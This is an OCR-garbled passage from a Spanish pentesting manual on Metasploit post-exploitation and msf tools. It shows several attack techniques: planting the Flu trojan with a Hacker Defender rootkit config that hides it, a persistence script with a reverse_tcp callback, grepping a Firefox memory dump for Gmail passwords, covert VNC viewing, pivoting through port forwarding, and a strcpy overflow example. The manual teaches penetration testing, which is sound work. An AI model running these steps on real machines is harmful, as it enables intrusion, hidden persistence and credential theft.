obtendrá la respuesta booleana, por ejemplo {"GetLastError"=>O, "return"=>true}.
rg.kernel32.GetCurrentProcessid
=> {"GetLastError"=>O, "return"=>ll08}
rg.kernel32.GetComputerNameA(250,250)
=> {"GetLastError"=>203, "return"=>true, "lpBuffer"=>"PRUEBAS- 01760CC", "nSi
ze"=>lS}
rg.user32.LockWorkStation
=> {"GetLastError"=>O, "return"=>O}
>> rg.shell32.IsUserAnAdmin
=> {"GetlastError"=>B, "return"=>true}
>> rg.kernel32.GetCurrentProcessid
=> {"GetlastError"=>B, "return"=>ll08}
>> rg.kernel32.GetComputerNameA(250,250)
=> {"GetlastError"=>283, "return "=>true, "lpBuffer"=>"PRUEBAS-81768CC", •nsize"=>lS}
>> rg.user32.LockWorkStation
=> {"GetlastError"=>B, • return"=>true}
Fig 4. 70: Ejecución de funciones de la API de Windows en máquina vulnerada.
•••
IIGI Metasploit para Pentesters
máquina vulnerada indicando el mensaje configurado. ¿Se podría lanzar una ventana que simule una
recogida de credenciales? De nuevo, el límite está en la imaginación del usuario.
El rootkit utilizado es Hacker Defender, también conocido como mdef, mientras que el troyano
utilizado es Flu, el cual puede ser descargado de la URL http://www.flu-project.com/downloadjlu/
flu. El punto de partida de la prueba de concepto es una sesión de Meterpreter obtenida mediante la
explotación de una vulnerabilidad en la fase previa a la de post-explotación.
Para subir el ejecutable del troyano, como del rootkit, desde la sesión de Meterpreter se utiliza el
comando upload. El troyano está compuesto del ejecutable, mientras que el rootkit depende de
su fichero INI de configuración, que también debe ser subido junto a su ejecutable. En la imagen
se puede visualizar la subida del troyano y de los ficheros del rootkit, además de la ejecución del
ejecutable del troyano.
•••
Capítulo IV Meterpreter & Post-Explotation IIPI
Tras la ejecución del troyano en la máquina vulnerada, se puede visualizar en el administrador de
tareas de la misma como el proceso aparece en el listado de estos que proporciona el sistema. La
detección del troyano podría ser fácil para el ojo humano, en este caso.
Para ello se ejecuta el rootkit, pero antes se debe configurar su fichero INI. Este fichero de
configuración dispone de varios apartados o secciones en los que, por ejemplo se especifican los
procesos que deben ser ocultados por el rootkit. Se permite el uso de metacaracteres, por ejemplo, si
se quiere ocultar todo proceso que empiece porflu, se puede indicar en el apartado hidden table del
fichero la palabraflu*. En la imagen se muestra un ejemplo de parte del fichero de configuración
del rootkit.
[Hidden Table]
hxdef*
rcmd.exe
flu*
hxdef*
[Root Processes]
hxdef*
rcmd.exe
[Hidden Services]
!lackerDefender*
[Hidden RegKeys]
HackerDefenderl0B
LEGACY HACKERDEFENDER100
HackerDefenderDrv100
LEGACY HACKERDEFENDERDRV100
[Hidden RegValues]
[ Startup Run J
Fig 4.73: Configuración de Hacker Defender.
Tras la ejecución del rootkit, se ocultan distintas opciones como es el proceso del troyano en el
administrador de tareas, entradas del registro del troyano, archivos en el explorador, conexiones
activas del troyano, etcétera. Es realmente potente la utilización de un rootkit para ocultar las
acciones del malware.
•••
Metasploit para Pentesters
La máquina vulnerada ha quedado infectada por el troyano y además, el rootkit, oculta las acciones
maliciosas que éste realiza y su presencia. El rootkit, lógicamente, también puede ocultarse a sí
mismo, para dificultar su presencia y acciones.
A continuación se muestra el panel del troyano, donde se pueden visualizar las máquinas infectadas
y el estado de éstas.
Fig 4.74: Panel de administración del troyano para manipular la máquina vulnerada.
En este punto el atacante tiene el control de la máquina vulnerada permanentemente. Este troyano
puede realizar un gran número de acciones sobre la máquina vulnerada, por ejemplo, capturas
de pantalla, captura de las pulsaciones de teclado remoto, utilización de las líneas de comandos
disponibles en la máquina infectada, por ejemplo un cmd o una PowerShell. En la imagen se
puede visualizar como se recupera el contenido de un fichero denominado secret.txt de la máquina
vulnerada.
•••
Capítulo IV Meterpreter & Post-Explotation -�i·
PoC: Explotado e infectado
Esta breve prueba de concepto ayuda a entender la importancia que tienen las opciones avanzadas
de los módulos de exploits en el instante de realizar la explotación. El escenario es sencillo, se va a
proceder a la explotación de un sistema operativo, del cual no se conoce si el usuario puede apagar
el equipo en cualquier momento, si es posible que se caiga la conexión, o si, puede que sin más se
necesite realizar la explotación, infectar dicho equipo y finalizar la sesión. Todas estas acciones cabe
la posibilidad de que sucedan en un rango de tiempo de pocos o muy pocos segundos.
Otra posibilidad es utilizar el comando update para subir el ejecutable de un troyano y ejecutarlo
mediante execute, todo esto desde un fichero de automatización. Se podría añadir un rootkit para
ocultar dicho troyano. Otra opción interesante, es la posibilidad de utilizar órdenes para derribar
sistemas de protección que pudiera haber en la máquina vulnerada antes de proceder a la subida de
este tipo de malware. Todas estas instrucciones se podrían escribir en un script y automatizar dicho
proceso.
meterpreter >
[*} Session ID 29 (192.168.1.40:4444 ·> 192.168.1.35:1937) processing AutoRunSeript •multi-canso
le command -re /root/inicialinfeccion.rc'
[*1 Running Command List ...
[*} Running command run persistence ·U ·X ·P windows/shell/reverse_tcp -i 69 -p 4444 -r 192.
168.1.49
[*} Running Persistance Script
[*} Resource file for eleanup created at /root/.msf4/logs/persistence/PRUEBA5·01760CC-20120831.4
515/PRUEBAS-91760(( 20120831.4515.re
[*] Creating Payload=windows/shell/reverse tcp LHOST=l92.168.l.40 LPORT=4444
{*} Persistent agent script is 611030 bytes long
' Persistent Script written to C:\WINDOWS\TEMP\WraaGFn.vbs
[*] Executing script C:\WINDOWS\TEMP\WraaGFn.vbs
Agent executed with PID 360
(*l Installing into autorun as HKLM\So�ware\Mierosoft\Windows\CurrentVersion\Run\yNrgfdFhJRPHOQ
e
Installed into autorun as HKLM\Software\Mierosoft\Windows\CurrentVersion\Run\yNrgfdFhJRPHOQC
•••
Fig 4. 76: Autoejecución de un fichero RC provocando infección con persistence.
•MI Metasploit para Pentesters
La línea de run finaliza con la dirección IP, todo en la misma línea, sino no funcionaría. Como se
puede suponer la imaginación de cada usuario puede ir más allá y conseguir realizar gran cantidad
de acciones de manera automática.
Como se ha mencionado en este libro, en algunas ocasiones es mejor utilizar un payload concreto
que aporte una funcionalidad sin necesidad de disponer de todo un servidor de funcionalidades.
Esto depende de lo que se quiera demostrar y de lo que se desee obtener, aunque como se ve en este
ejemplo se puede provocar la actualización a un Meterpreter. Es recomendable pensar qué payload
utilizar en cada momento en función de las necesidades.
•••
Capítulo IV Meterpreter & Post-Explotation -�i·
[ J Command shell session 21 opened (192.168.1.40:4444 -> 192.168.1.35:1055) at 2012-08-31 21:57
:41 +0200
Microsoft Windows XP [Versi@n 5. l.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>AZ
Background session 21? [y/N] y
En este caso se realizará un volcado de memoria del proceso Firefox y se procederá a la búsqueda de
credenciales almacenadas u otros datos de interés para el atacante. En el ejemplo se mostrará como
las credenciales quedan almacenadas en texto plano por el proceso del navegador, aunque el sitio
web donde fueran introducidas dispusiera de capa de seguridad, que en este caso se corresponde con
la seguridad de Gmail.
•••
IHI Metasploit para Pentesters
SAGE:
PLE: run process dump putty.exe
PLE: run process=dump -p 1234
PTIONS:
-h Help menu.
-n <opt> Name of process to dump.
-p <opt> PID of process to dump.
-q Query the size of the Process that would be dump in bytes.
-r <opt> Text file wih list of process names to dump memory for, one per line.
-t toggle location information in dump.
Tras ejecutar el script se procede a la descarga automática del volcado de la memoria del proceso.
Este archivo se almacena en la ruta $HOME!msf4/logslscripts/proc_memdump/<fichero DMP>. Se
puede observar que al ejecutar el comando de Linux cat se puede visualizar el contenido del archivo,
la mayoría es binario, pero se puede observar como existen cadenas de texto legibles. Mediante el
uso del comando strings se va a filtrar todo el contenido no legible, es decir, todo lo que no sean
caracteres de texto se despreciará. Por último utilizando el comando grep se filtrará la salida de
strings para localizar las palabras clave que se quieren obtener.
Por ejemplo, se va a proceder a realizar la búsqueda de credenciales en el proceso de Firefox del que
se ha realizado el volcado. Al ejecutar la instrucción cat <fichero DMP> 1 strings I grep Passwd,
se obtiene información muy interesante como es la credencial con la que, según la dirección, se ha
logueado en el webmail de Gmail.
•••
Capítulo IV Meterpreter & Post-Explotation -�}i
https:llwww. volatilesystems.comldefaultlvolatility. Para realizar el volcado de la memoria RAM se
pueden utilizar una serie de aplicaciones, como MDD o Win32dd.
En primer lugar, se sube a la máquina vulnerada la herramienta Win32dd, por ejemplo en la ruta
e:\. Para realizar el volcado de la memoria RAM de la máquina vulnerada se ejecuta la instrucción
win32dd.exe Ir /f <fichero> la. El parámetro /r indica que será un volcado de tipo raw, /f el fichero
donde se almacenará y /a que se aceptarán todas las preguntas que realice la aplicación.
C:\>Win32dd.exe /r /f c:\volcado.bin /a
win32dd.exe /r /f c:\volcado.bin /a
win32dd - 1.3.1.20100417 - (Community Edition)
Kernel land physical memory acquisition
Copyright (C) 2007 - 2010, Matthieu Suiche <http://www.msuiche.net>
Copyright (C) 2009 - 2010, MoonSols <http://www.moonsols.com>
Name Value
Una vez que se realiza el volcado de la RAM, se debe descargar la imagen manualmente, a través
de la ejecución del comando download de Meterpreter. Este proceso puede llevar bastante tiempo,
ya que dependerá del tamaño de la memoria RAM de la máquina vulnerada. En este ejemplo, la
memoria RAM del equipo remoto es de 192 MB.
En este momento hay que utilizar elframework de Volatility para sacar la máxima información de la
máquina vulnerada. Este framework permite realizar gran cantidad de opciones sobre imágenes de
volcado de memoria RAM, sería necesario dedicar tiempo a su estudio y aprovechamiento. Pero el
objetivo de la prueba de concepto es ilustrar algunas de las posibilidades que Volatility proporciona.
Para ejecutar la ayuda de Volatility se debe ejecutar python vol.py -h, dicho archivo estará situado
en el directorio donde se encuentren los archivos Python del framework Volatility. Si se quieren
•••
•MI Metasploit para Pentesters
consultar las conexiones activas en el momento de realizar el volcado de la memoria RAM se debe
ejecutar la siguiente instrucción python vol.py connections -f <fichero BIN>.
Para visualizar los archivos abiertos por los procesos que se encontraban en ejecución en el momento
del volcado de la memoria RAM remota se debe ejecutar la instrucción python vol.pyfiles -f<fichero
BIN>. Otra instrucción interesante es la recuperación del listado de procesos en ejecución en ese
momento python vol.py pslis -f <fichero BIN>.
Las posibilidades que ofrece Volatility para el análisis forense son ilimitadas, por lo que se recomienda
su estudio y la realización de pruebas para comprender y entender todo lo que este framework es
capaz de proporcionar al usuario.
El primer caso que se estudiará es el del payload vncinject. El payload cargado debe ser windows/
vnciryect/reverse_tcp, conexión inversa por ejemplo. Este payload inyecta un servidor VNC en la
•••
Capítulo IV. Meterpreter & Post-Explotation -�i·
memoria de la máquina vulnerada, el exploit conecta automáticamente con éste y se obtiene la visión
del escritorio de la víctima.
Hay que tener cuidado con este payload ya que realiza la apertura de una cmd en la máquina
vulnerada. Esta situación es extraña para el usuario víctima, el cual se puede alertar de la presencia
del atacante al visualizar dicho evento.
Otra opción posible es la utilización del script de Meterpreter vnc. Con este script se ejecuta un
•••
agente con el que se puede realizar la conexión, y obtener la visión del escritorio de la víctima. Hay
MM:• Metasploit para Pentesters
que tener cuidado con la posibilidad de no mover el ratón al usuario, ya que podría darse cuenta.
Se recomienda, simplemente visualizar las acciones de éste, a la vez, que por ejemplo, se utiliza un
keylogger para capturar credenciales no visibles.
Para realizar esta técnica se utiliza el comando porifwd, el cual dispone de varios parámetros
interesantes:
El parámetro -L indica el host local donde comenzará la redirección de paquetes. Este
parámetro es opcional, por defecto se configura con la dirección IP de la máquina vulnerada.
El parámetro -r indica el host remoto al que se reenviarán los paquetes, es la dirección IP
de la máquina objetivo.
El parámetro -1 indica el puerto local dónde se recibirán las conexiones. Este puerto
pertenece a la máquina vulnerada.
El parámetro -p indica el puerto de la máquina remota, es decir la especificada en el
parámetro -r, a la que se realizarán los reenvíos.
A continuación se presenta un sencillo ejemplo donde las peticiones que el atacante quiere realizar a
una máquina objetivo, se realizan a través de una máquina vulnerada. La máquina objetivo recibirá
las peticiones como si realmente fueran originadas por la máquina vulnerada.
El escenario arranca con una sesión de Meterpreter del atacante sobre la máquina vulnerada. La
configuración del comando porifwd es sencilla tal y como se puede visualizar en la imagen de la
página siguiente.
Tras la ejecución del comando, la máquina atacante enviará el tráfico a su interfaz local donde tiene
un listener en un puerto concreto encargado de redirigir el tráfico a Meterpreter en la máquina
vulnerada. Esta máquina vulnerada recibe la petición y la reenvía hacia la máquina objetivo. La
configuración del comando es sencilla y para poder visualizar las órdenes creadas en porifwd se
puede ejecutar sólo el comando para obtener el listado.
•••
Capítulo IV. Meterpreter & Post-Explotation •MI
sage: port args
PTIONS:
Ahora, el atacante abre el navegador web y escribe la dirección http:l/127.0.0.1:9000, ¿Por qué el
puerto 9000? Es donde se ha configurado el listener en la configuración de portfwd. La respuesta
que se obtiene es "Jt Works ", que es el fichero por defecto de un servidor Apache.
It works!
This is the default web page for this server.
The web server software is running but no content has been added, yet.
Fig 4.88: Petición http a través de una máquina vulnerada.
¿Realmente es la máquina vulnerada quién realiza la petición encubriendo a la máquina del atacante?
La respuesta es sí, en la máquina del objetivo se abre la aplicación Wireshark para visualizar el
tráfico que 11ega por su interfaz de red. Las máquinas del escenario tienen las siguientes direcciones
IP:
La máquina del atacante tiene la dirección IP 192.168.0.61.
La máquina vulnerada tiene la dirección IP 192.168.0.62.
La máquina objetivo tiene la dirección IP 192.168.0.63.
En la imagen siguiente se puede visualizar como la petición HTTP llega a través de la máquina con
dirección IP 192.168.0.62, que es la vulnerada. Esta técnica puede dar lugar a otro gran número de
posibilidades.
•••
'""' Metasploit para Pentesters
F [http
I•
. .:-�-·
.
Hay que tener en cuenta, como se puede visualizar en la imagen, que el User-Agent puede delatar a
la máquina origen, por lo que puede ser interesante cambiar dicha información .
•••
Capítulo V. Otras msf tools lffil
Capítulo V
Otras msf tools
l. msftools
En multitud de ocasiones se ha comentado que Metasploit es un framework o conjunto de
herramientas que proporcionan distintas funcionalidades al auditor. En este capítulo se pueden
estudiar y realizar pruebas con las más utilizadas o reconocidas a nivel mundial en el ámbito de la
intrusión o pentesting. Como curiosidad indicar que todas las herramientas comienzan por las siglas
msf( Metasploitframework) seguidas de un nombre indicativo de la acción que realizan.
A menudo muchos de los pentesters o auditores de seguridad se pueden encontrar con cambios en las
herramientas disponibles en elframework de Metasploit. Este hecho es debido a que se desarrollan
nuevas versiones o nuevas aplicaciones que pasan a formar parte del framework. Es sencillo
encontrarse que en nuevas versiones de Metasploit aparezcan nuevas aplicaciones que proporcionan
novedosas funcionalidades o, incluso, optimizan funciones existentes de varias herramientas, como
por ejemplo msfvenom, la cual fusiona la funcionalidad de msfpayload y de msfencode.
En anteriores capítulos se han estudiado herramientas que proporcionan y facilitan el uso del
framework, ya sea mediante el uso de una línea de comandos, msfconsole, o mediante el uso de
una interfaz gráfica, por ejemplo armitage. Pero, como se ha mencionado, existen otro tipo de
herramientas con otras funcionalidades, como por ejemplo la creación de ejecutables que alberguen
en su interior código ejecutable o shellcode con fines maliciosos. Por otro lado, también se puede
ayudar a los exploiters a obtener payloads sin necesidad de crearlos ellos mismos.
Otro tipo de aplicaciones muy utilizado son las que ayudan a evadir los sistemas de defensa de
una máquina, como por ejemplo los antivirus. La mayoría de los payloads que son utilizados por
Metasploit pueden ser detectados por una gran parte de los antivirus, por ello es necesario utilizar
herramientas que ofusquen el código del payload para evitar su detección.
La gestión remota también se encuentra disponible en Metasploit gracias a herramientas como msfd,
la cual proporciona un servicio o daemon con el que se puede manipular elframework remotamente.
•••
lrfl Metasploit para Pentesters
Por último mencionar que Metasploit sigue creciendo y aumentando en funcionalidades e integración
con otros sistemas y aplicaciones de seguridad. Este hecho hace que elframework disponga de una
riqueza implícita realmente interesante para su utilización en el día a día del auditor. Las msf tools
siguen apareciendo y añadiéndose alframework lo que proporciona un hecho muy interesante como
se mencionó anteriormente.
root@root:/pentest/exptoits/framework3# ls
�rmitage HACKING msfconsole msfgui msfpescan plugins tools
�ata lib msfd msfmachscan msfrpc README
� ocumentation modules msfelfscan msfopcode msfrpcd scripts
�xternal msfcli msfencode msfpayload msfupdate test
root@root:/pentest/exptoits/framework3#
Fig 5.01: Msftools disponibles en BackTrack 5.
Esta aplicación permite ejecutar módulos de tipo exploit o auxiliary directamente desde una línea de
comandos. De este modo, se evita tener que cargar todas las estructuras necesarias cuando se ejecuta
la aplicación msfconsole. Se puede entender como que cuando se arranca msfconsole se cargan en
memoria las estructuras necesarias para el correcto funcionamiento de Metasploit, mientras que
arrancando msfcli se carga solamente un módulo por lo que se ejecutará la acción de manera más
rápida.
Hay que tener en cuenta que en el momento de lanzar un módulo con msfcli se deben indicar todas
las opciones necesarias para la correcta ejecución del módulo. Por ejemplo, si se va a proceder a
lanzar un exploit con esta lferramienta se deberá indicar, generalmente, el equipo remoto sobre el
que se lanzará dicho exploit o la dirección IP sobre la que se implementa el servidor para los ataques
de tipo Client-Side Attack. Se debe indicar qué tipo de payloads se utilizan si es un módulo de tipo
exploit.
Hay que tener en cuenta que cuando se utiliza la herramienta msfcli todos los parámetros son
asignados mediante el uso del operador"=". En msfconsole se indica el parámetro y a continuación
se asigna el valor. Además, msfcli es case sensitive, detalle que hay que tener en cuenta para el
correcto funcionamiento de la aplicación .
•••
Capítulo V Otras msf tools MM
Modos de msfcli
Los modos de ejecución de msfcli indican qué acción realizará la aplicación. En la imagen se observan
los distintos modos de ejecución que dispone la herramienta. Hay que considerar que las opciones
son equivalentes a los parámetros o variables, como por ejemplo RHOST, LHOST, etcétera.
Mode Oescription
El primero de los modos que se presenta es uno de los más importantes y es el modo H. Este modo
proporciona ayuda e información sobre la aplicación. Si se ejecuta la siguiente instrucción msfcli
<exploit> H, se obtiene ayuda sobre la aplicación msfcli.
Provided by:
hdm <hd�etasploit.com>
�vailable targets:
Id Name
B Wildcard Target
Payload information:
Space: 10000000
Avoid: 8 characters
Oescription:
This module is a stub that provides all of the features of the
Metasploit payload system to exploits that have been launched
outside of the framework.
Fig 5.03: Ejecución msfcli en modo summa,y.
•••
ltill Metasploit para Pentesters
Existe el modo resumen o summary, que es indicado mediante la letra S, el cual proporciona
información sobre un módulo en concreto que se requiera utilizar. La sintaxis es realmente sencilla,
un ejemplo se puede visualizar en la imagen anterior.
El modo O u opciones muestra información sobre las variables que se pueden configurar sobre un
módulo concreto. En el ejemplo se ha utilizado el módulo exploit/windowslsmb/psexec y se obtienen
las distintas variables que pueden ser configuradas. Este modo es el equivalente a show options en
una sesión de msfconsole.
msfcli exploit/windows/smb/psexec o
root@root:/pentest/exploits/frilllleWork3#
[*] Please wait while we load the module tree...
Name Current Setting Required Description
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SHARE ADMIN$ yes The share to connect to, can be an admin share
(AOMIN$,C$, ... ) or a normal read/write folder share
SMBDomain WORKGROUP no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Fig 5.04: Ejecución msfcli en modo options.
Los modos A e I son especiales, el primero muestra información sobre las variables avanzadas que
pueden ser configuradas en un módulo concreto. El segundo es un modo muy interesante, ya que
proporciona información sobre opciones para la evasión de IDS en caso de que el módulo con el que
se esté trabajando disponga de esta opción.
El modo P proporciona información sobre los payloads disponibles para un módulo de exploit
o auxiliary en concreto. Esta opción es realmente útil y proporciona información muy válida y
recomendada de visualizar antes de lanzar el módulo. Este modo es equivalente a la instrucción
show payloads cuando se encuentra un módulo concreto cargado en una sesión de msfconsole.
•••
Capítulo V Otras msf tools ltii
El modo targets o T proporciona información sobre los sistemas operativos vulnerables antes de
ejecutar un exploit concreto. En la imagen se pueden visualizar un gran número de targets para el
exploit ms08_067_netapi, el cual ha sido estudiado en el presente libro. Realmente el número de
targets para los que está disponible este exploit son 62 versiones distintas de Windows, con distintos
idiomas, en versiones XP, 2003, 2000, etcétera. Este modo es equivalente a la instrucción show
targets cuando se encuentra un módulo cargado en msfconsole.
Id Name
9 Automatic Targeting
l Windows 2888 Universal
2 Windows XP SP9/SPl Universal
3 Windows XP SP2 English (NX)
4 Windows XP SP3 English (NX)
5 Windows 2993 SPS Universal
6 Windows 2883 SPl English (NO NX)
7 Windows 2883 SPl English (NX)
8 Windows 2883 SPl Japanese (NO NX)
9 Windows 2993 SP2 English (NO NX)
19 Windows 2893 SP2 English (NX)
11 Windows 2893 SP2 Gennan (NO NX)
12 Windows 2993 SP2 Gennan (NX)
13 Windows XP SP2 Arabic (NX)
14 Windows XP SP2 Chinese - Traditional / Taiwan (NX)
15 Windows XP SP2 Chinese - Simplified (NX)
16 Windows XP SP2 Chinese - Traditional (NX)
17 Windows XP SP2 Czech (NX)
18 Windows XP SP2 oanish (NX)
19 Windows XP SP2 German (NX)
28 Windows XP SP2 Greek (NX)
21 Windows XP SP2 Spanish (NX)
22 Windows XP SP2 Finnish (NX)
Fig 5.06: Ejecución msfcli en modo targets.
El modo AC o actions proporciona información sobre acciones que pueden realizar los módulos de
tipo auxiliary. Por otro lado se encuentra el modo C o check que equivale a la instrucción check en
una sesión de msfconsole. En la imagen se puede visualizar como configurando la variable RHOST,
indicando el modo C y especificando el exploit se comprueba si el objetivo es vulnerable o no.
root@root:-# 1
Fig 5.07: Ejecución msfcli en modo check.
El modo E o ejecución, es quizá el modo más conocido por los auditores. Con dicho modo se lanza
el módulo, ya sea auxiliary o exploit. Es necesario, indicar las variables requeridas en el momento
de lanzar este modo en la aplicación msfcli.
•••
''ª' Metasploit para Pentesters
sesiones. De este modo el auditor puede lanzar la etapa de explotación y recibir las conexiones en
cualquier otra máquina configurada para ello mediante el uso de msfcli. Además, se pueden resumir
los beneficios de la utilización de msfcli con las sentencias que se muestran a continuación:
Teoría de conexiones
Cuando un exploit es lanzado contra una máquina objetivo se busca obtener una ses10n que
proporcione el control del equipo remoto. Estas sesiones pueden ser directas o inversas, las cuales
trabajan de manera similar a como lo hacen los troyanos en sus conexiones.
El uso de sesiones inversas puede ayudar al auditor o atacante a evitar los firewalls implícitos
que llevan los router. Hay que recordar que todos los exploits que utilizan el método de conexión
inversa utilizan implícitamente el módulo llamado exploit/multilhandler, el cual recibirá la sesión
inversa sobre la máquina remota. Este módulo proporciona una gran cantidad de oportunidades a los
auditores o atacantes, los cuales se presentan en este apartado.
En gran parte de la documentación que se puede leer sobre Metasploit se presenta la máquina
que lanza los exploits o el servidor que utiliza la técnica Client-Side Attack como la máquina que
gestionará y aprovechará las sesiones obtenidas sobre los equipos vulnerados. Este hecho no tiene
porqué ser así, ya que se puede utilizar un servidor o máquina para provocar la obtención de sesiones
en la fase de explotación y que dichas sesiones se gestionen sobre otras máquinas.
¿Cómo se realiza dicha acción? El concepto es realmente sencillo, cuando se configura un exploit
se puede elegir el payload que se ejecutará en la máquina remota, en caso de que la explotación
•••
Capítulo V Otras msf tools lrfil
tenga éxito. El payload de tipo inverso debe ser configurado con una dirección IP en la cual, una vez
ejecutado en la máquina víctima, se conectará para otorgar el control de dicha máquina.
En la imagen se puede observar como el atacante real se encuentra en una red privada, como puede
ser la de cualquier empresa o casa. P or otro lado, se visualiza una máquina víctima que simula
encontrarse en la red de una empresa. El atacante dispone de un servidor, por ejemplo web, que
utilizando la técnica Client-Side Attack espera a recibir peticiones de víctimas potenciales. En
el momento en que la víctima es vulnerada, el payload que se ejecuta en ella dará el control de
la máquina al equipo del atacante y no al servidor web. De este modo se consigue que el rastro
de la explotación quede distribuido, ya que una máquina se encarga de la tarea, posiblemente
automatizada, de explotación, mientras que la gestión de la sesión remota, que es realmente lo que
interesa, se realiza desde otra red totalmente distinta.
Atacante
Víctima
Esta explotación y gestión distribuida puede ir un paso más allá, ya que se podría configurar en
el servidor, el cual está disponible en Internet, distintos exploits con distintos payloads los cuales
podrían apuntar a distintas direcciones IP. De nuevo, el rastro se distribuye entre distintas máquinas,
y aunque tampoco sería demasiado complejo realizar un rastreo a priori, se podrían ocultar las
conexiones a través de máquinas vulneradas que hicieran de puente. Estas conexiones se pueden
distribuir e intentar ocultar de diversas maneras, en este aspecto entra en juego la imaginación del
atacante o auditor.
•••
lt§:1 Metasploit para Pentesters
Una vez configurado el servidor web a través del módulo browser autopwn se debe configurar en
la otra máquina que gestiona el atacante o el auditor el módulo exploitlmulti/handler. Mediante la
aplicación msfcli se configurará dicho módulo para comprobar la utilidad de dicha herramienta .
•••
Capítulo V Otras msf tools i@I
La configuración es realmente sencilla, se debe indicar el tipo de payload el cual se puede inyectar,
en este caso Meterpreter, también se debe indicar la dirección IP local de la máquina y el puerto
dónde se escuchará.
Hay que destacar la posibilidad de que la máquina se encuentre detrás de un router, lo cual implicaría
que se debería abrir un puerto en el router para redirigir el tráfico y que éste pueda llegar desde
Internet hasta la máquina del atacante.
,-, 1 1 o-,
__ _ _, I______ 1 1 _ _, I_
I_I I_I _
l l\_
,-=-,
1 ' ' \ I \ I ' I 1 ' \I I! \I 1 1
1 ,-, ,-, 1 =- 1 TT C1 O 1 1 O 1 1 L
-l\_\_,_I_/ ._/I_I\_/I_I\_I
1 1
I_I
Una vez montada toda la infraestructura por parte del atacante o auditor se debe esperar a que las
víctimas se conecten al servidor web malicioso. Como ya se ha mencionado en este libro se pueden
utilizar diversas técnicas para provocar que las víctimas visiten dicho servidor.
Una vez que la víctima se conecte al servidor web malicioso se lanzarán los exploits sobre ella, y
en caso de que ésta sea vulnerable se lanzará una petición a la máquina que está configurada con el
manejador o exploit/multi/handler, el cual al recibir la petición inyectará el payload en la máquina
de la víctima respondiendo a dicha petición.
meterpreter >
meterpreter > pwd
C:\WINDOWS\system32
meterpreter > 1
Fig 5.11: Obtención de una sesión inversa con msfcli.
•••
,,,, Metasploit para Pentesters
Por último, hay que tener en cuenta que estos archivos pueden ser fácilmente detectados por las
bases de datos de fumas de los antivirus. Este es un debate muy actual, que existe en el día a día del
pentesting. Existen técnicas para intentar evadir el mayor número de sistemas de protección, como
puede ser un antivirus, y se estudiará más adelante en el presente libro.
Modos de msfpayload
Los modos de ejecución que dispone msfpayload permiten realizar distintas acciones relacionadas
con los payload. En la imagen se pueden visualizar los distintos modos que msfpayload proporciona
al auditor. Es posible distinguir entre dos modos de ejecución jerárquicos, el primero para la
obtención del payload en un lenguaje de programación y el segundo para la creación de binarios
en distintos sistemas operativos. Cada uno de estos modos tiene distintas variaciones internas, las
cuales se pueden ir observando en este apartado.
root@root:-# msfpayload
El modo S o summary proporciona información sobre el payload que se quiere utilizar. Se debe
indicar la ruta del payload y especificar el modo de ejecución al final de la instrucción. Este modo
ayuda al auditor a conocer las variables de configuración del payload que deben ser configuradas,
•••
Capítulo V Otras msf tools Mili
tanto para la obtención de código en un lenguaje de programación concreto, como para la generación
de binarios. Además, con este modo se proporciona una descripción y el tipo de payload que es, por
ejemplo con Meterpreter se indica que es de tipo staged.
Provided by:
skape <[email protected]>
sf <[email protected]>
hdm <hd�etasploit.com>
Basic options:
Name Current Setting Required Description
oescription:
Connect back to the attacker, Inject the meterpreter server DLL vía
the Reflective Dll Iniection oavload ístaaedl
Fig 5.13: Ejecución Summary de msfpayload.
•••
•fil Metasploit para Pentesters
Cuando se está desarrollando un exploit, estas opciones de msjpayload son realmente útiles y
necesarias para facilitar el proceso de obtención de control de la máquina vulnerada. En el ejemplo
anterior se utiliza el payload windows/adduser el cual creará un usuario en el sistema donde se
ejecute con una contraseña definida.
Para la obtención de este código en otros lenguajes de programación se dispone de los modos "y"
y "P", que se corresponden con la generación de código en lenguaje Ruby y Perl respectivamente.
Sencillamente se debe especificar el payload, las variables de configuración de dicho módulo y la
letra que identifica el modo de ejecución. Si se requiere obtener código en Ruby se utiliza la letra
"y", tal y como se puede visualizar en la imagen.
El modo R o raw permite obtener código en lenguaje máquina. Como curiosidad indicar que en el
ejemplo se pueden observar los strings y las órdenes que se están asignando en el código máquina.
Se puede visualizar fácilmente la acción que realiza el payload, donde se abre un cmd y se ejecutan
las órdenes de añadir un usuario con una contraseña y además se agrega el usuario al grupo de
administradores de la máquina.
El modo X o ejecución permite obtener código ejecutable en formato EXE para sistemas operativos
Windows. Existen otras opciones o modos que proporcionan funcionalidades para crear DLLs,
•••
Capítulo V. Otras msf tools Mil
código VBA o Javascript. Más adelante, se estudian los resultados, más que interesantes, del modo
ejecución o X.
En esta prueba de concepto no se pretende enseñar el complejo mundo del reversing, pero sí explicar
cómo funciona un buffer overflow y como con Metasploit se puede obtener el código de un payload
para añadir al código del programa vulnerable. A continuación se presenta aplicación, escrita en
lenguaje C, vulnerable.
#include <stdio.h>
int main (int argc, char **argv)
{
char buf[lO];
printf("holamundo n );
strcpy(buf,argv[l]);
return O;
Realmente, ¿qué se busca? Se quiere controlar y modificar los registros del procesador, sobretodo el
registro EIP o contador de programa, el registro ESP el cual apunta a la cima de la pila y el registro
RETN que indica la dirección de retomo de una función. El registro EIP indica qué instrucción
se ejecutará a continuación y puede proporcionar a un atacante la posibilidad de ejecutar las
instrucciones que él quiera y en la zona de memoria que él necesite. Es evidente, que la zona de
memoria que se requiera albergará el shellcode que se quiera ejecutar para realizar alguna acción
concreta sobre la máquina víctima o tomar el control total de dicho equipo.
¿El programa es vulnerable? La respuesta es sí, este código no limita el acceso a la memoria y se
puede sobrescribir fuera de los límites que el sistema operativo ha designado para la ejecución de la
aplicación. Si el usuario manipula la entrada y sobrepasa los límites, se podrá acceder a otras zonas
de memoria y controlar los registros que interesan. En el caso de la aplicación, la función vulnerable
es strcpy ya que en ningún instante se comprueba que la variable argv[IJ pueda ser copiada en un
espacio de memoria reservado de 1 O bytes, representados por la variable buf
El primer paso es ejecutar el programa y comprobar que si se introduce en argv[JJ un valor inferior
o igual a 1 O caracteres la aplicación funciona correctamente, pero si se introduce un valor superior a
10 caracteres, cuando la función strcpy intente realizar la copia en la variable buf, la cual dispone de
una zona de memoria reservada de 10 bytes, se producirá un error. Lo que está ocurriendo es que se
está sobrescribiendo una zona de memoria no reservada para la variable buf
•••
Mil Metasploit para Pentesters
función, las variables internas del compilador y las variables locales de la función. En esta prueba de
concepto las variables locales de la función son un puntero del buffer de 1 O caracteres, un puntero a
la variable agrv[JJ y el contenido local del buffer.
